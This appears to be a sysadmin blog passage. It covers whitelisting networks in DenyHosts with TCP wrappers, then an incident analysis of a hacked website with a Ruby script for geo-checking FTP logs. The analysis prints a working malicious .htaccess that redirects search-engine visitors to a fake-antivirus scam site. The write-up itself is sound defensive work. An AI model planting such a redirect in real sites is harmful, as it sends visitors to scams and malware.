DenyHosts is a script intended to be run by Linux system administrators to help thwart SSH server attacks (also known as dictionary based attacks and brute force attacks).

Sending accidentally wrong password to server will block your access. You can avoid it by using public key authentication or when it’s not possible you can configure DenyHosts to ignore IP addresses from your network:

How can I prevent a legitimate IP address from being blocked by DenyHosts?

Since it is quite possible for a user to mistype their password repeatedly it may be desirable to have DenyHosts prevent specific IP addresses from being added to /etc/hosts.deny. To address this issue, create a file named allowed-hosts in the WORK_DIR. Simply add an IP address, one per line. Any IP address that appears in this file will not be blocked.
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I do prefer the TCP wrappers way, I’ll just bypass DenyHosts for local networks.

Configure DenyHosts to write blocked IPs to /etc/denyhosts/blocked:

# /etc/denyhosts/denyhosts.cfg
HOSTS_DENY = /etc/denyhosts/blocked
BLOCK_SERVICE  =

Allow ssh connection if listed in /etc/denyhosts/ignored, and then the last rule is to allow ssh access unless listed in /etc/denyhosts/blocked:

#
# hosts.allow   This file describes the names of the hosts which are
#               allowed to use the local INET services, as decided
#               by the '/usr/sbin/tcpd' server.
#
 
# ssh access
sshd: /etc/denyhosts/ignored : allow
sshd: ALL EXCEPT /etc/denyhosts/blocked

Add IPs/networks to ignore:

# /etc/denyhosts/ignored
# hosts allowed to connect bypassing DenyHosts
192.168.10.0/255.255.255.0

More on the file format:

man hosts.allow

Analyzing site’s sources we found obfuscated JavaScript code inserted near body, html tags in .html, .php, .tpl files and a .htaccess file with following content:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yandex.*$ [NC,OR]^M
RewriteCond %{HTTP_REFERER} .*rambler.*$ [NC,OR]^M
RewriteCond %{HTTP_REFERER} .*ya.*$ [NC]
RewriteRule .* http://real-antispyware.info/0/go.php?sid=2 [R,L]

Hmm, visitors from search engines were redirected to real-antispyware.info. This website is a scam that shows some JavaScript animation fulling the user with a message that his computer is infected and prompts him to download and install a fake AntiVirus.

Analyzing IP addresses from ftp logs we found connections from Russia and China that altered client’s website. Somehow they got user’s ftp password (it can be done in so many ways: weak password, traffic sniffing, virus, keylogger, trojan, …) and they altered website files.

You can use this simple Ruby script to analyze your ftp logs. By default it is configured for a Plesk server, and it will show suspicious lines (change IGNORE variables to fit your needs). You may need to install rubygems and geoip gem.

#!/usr/bin/ruby
 
require 'rubygems'
require 'geoip'
require 'zlib'
 
# hide logs from these countries
# Example: RO US
IGNORE_COUNTRIES = %w{RO US}
# free geoip database is not 100% accurate
# we may need to ignore a few ip addresses
IGNORE_IP = %w{127.0.0.1 127.0.0.2}
 
files = Dir.glob("/usr/local/psa/var/log/xferlog*")
geoip = GeoIP.new('/var/lib/GeoIP/GeoIP.dat')
 
def ip2country(geoip, ip)
  country = geoip.country(ip)[3]
end
 
ip_list = []
files.each do |filename|
  puts ""
  puts "Processing #{filename} ..."
 
  File.open(filename) do |f|
    input = f
    input = Zlib::GzipReader.new(f) if File.extname(filename) == ".gz"
 
    while line = input.gets do
      ip = line.split(/\s+/)[6]
 
      unless ip_list.include? ip
        country = ip2country(geoip, ip)
        unless IGNORE_COUNTRIES.include? country.upcase or IGNORE_IP.include? ip
          puts " [#{country} : #{ip}] => #{line}"
        end
        ip_list << ip
      end
   end
  end
end

Steps that needs to followed:

1. Change FTP password
2. Upload a clean copy from the backups of the website
3. Submit the website in the Webmaster’s Tools for reconsideration
4. Audit your company security: computers, firewalls, antiviruses, software, …

You may find useful diagnose tool from the Google (replace example.com with your domain):

http://www.google.com/safebrowsing/diagnostic?site=http://example.com